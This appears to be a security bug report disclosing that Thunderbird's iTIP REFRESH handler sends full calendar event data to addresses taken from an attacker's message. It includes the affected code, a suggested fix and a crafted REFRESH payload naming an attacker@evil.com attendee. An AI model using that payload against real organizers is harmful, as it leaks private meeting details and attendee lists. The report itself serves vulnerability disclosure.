iTIP REFRESH handler sends full calendar event data to attacker-controlled recipients via spoofed ATTENDEE

description

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36

### Steps to reproduce

ummary: iTIP REFRESH handler sends full calendar event data to attacker-controlled recipients via spoofed ATTENDEE

------- Description -------

The iTIP REFRESH handler extracts attendee addresses from the incoming REFRESH message (attacker-controlled) rather than from the locally stored calendar event. When the organizer clicks "Reconfirm", Thunderbird sends the full event details — all attendees' emails, organizer info, location, description, and any confidential notes — to the attacker-supplied email address with AUTO response mode (no send confirmation prompt).

=== ROOT CAUSE ===

File: comm/calendar/base/modules/utils/calItipUtils.sys.mjs:1762-1785

```javascript
case "REFRESH": {
  // Line 1764: Attendees extracted from INCOMING message (attacker-controlled)
  const attendees = itipItemItem.getAttendees();
  // NOT from the stored calendar item (this.mFoundItems)
  ...
  if (attendees.length > 0) {
    const action = function () {
      ...
      // Line 1777: Full event sent to attacker-supplied attendees
      sendMessage(
        item,          // The REAL stored event with all its data
        "REQUEST",
        attendees,     // From attacker's REFRESH message
        { responseMode: Ci.calIItipItem.AUTO }  // No confirmation prompt
      );
    };
    operations.push(action);
  }
}
```

=== ATTACK SCENARIO ===

1. Attacker discovers or guesses a calendar event UID (from a forwarded invitation, shared calendar, or predictable UID pattern)
2. Attacker crafts an iTIP REFRESH email:
   ```
   METHOD:REFRESH
   UID:target-event-uid@example.com
   ATTENDEE:mailto:attacker@evil.com
   ```
3. Attacker sends this email to the event organizer
4. Organizer sees a "Reconfirm" button in the invitation bar and clicks it
5. Thunderbird's REFRESH handler extracts `attacker@evil.com` from the incoming REFRESH message (line 1764)
6. `sendMessage()` sends the FULL calendar event (from local storage) as a REQUEST to `attacker@evil.com` with AUTO mode (no send dialog)
7. Attacker receives the complete event: all real attendees' emails, description, location, attachments, and private notes

=== STEPS TO REPRODUCE ===

1. Create a calendar event with multiple attendees and sensitive description content
2. From an external account, send an iTIP REFRESH email to the organizer with the event UID and ATTENDEE:mailto:attacker@test.com
3. In the organizer's Thunderbird, open the REFRESH message
4. Click "Reconfirm" in the invitation bar
5. Monitor the attacker mailbox — the full event details arrive as a REQUEST




### Actual results

=== ACTUAL RESULTS ===

The attendee list is taken directly from the incoming REFRESH message. Any email address supplied by the attacker receives the full event data when the organizer clicks "Reconfirm".

=== IMPACT ===

- Information disclosure of sensitive calendar data (meeting details, attendee lists, locations, descriptions)
- Attacker needs only a valid event UID (often predictable or leaked via forwarded invitations)
- Single click by the organizer triggers the leak
- AUTO response mode bypasses any send confirmation dialog
- Useful for social engineering, competitive intelligence, or targeted attacks

=== SUGGESTED FIX ===

In the REFRESH handler, use the stored event's attendee list instead of the incoming message's attendees:

```javascript
case "REFRESH": {
  // Use attendees from the STORED item, not the incoming message
  const attendees = item.getAttendees();
  // Alternatively, verify that incoming attendees are already in the stored event
  ...
}
```

Affected: Thunderbird 153.4.0 ESR and all versions sharing this code.


### Expected results

=== EXPECTED RESULTS ===

The REFRESH handler should send the event only to attendees listed in the STORED calendar event, not to addresses supplied in the incoming REFRESH message. Alternatively, it should prompt the organizer to confirm the recipient list before sending.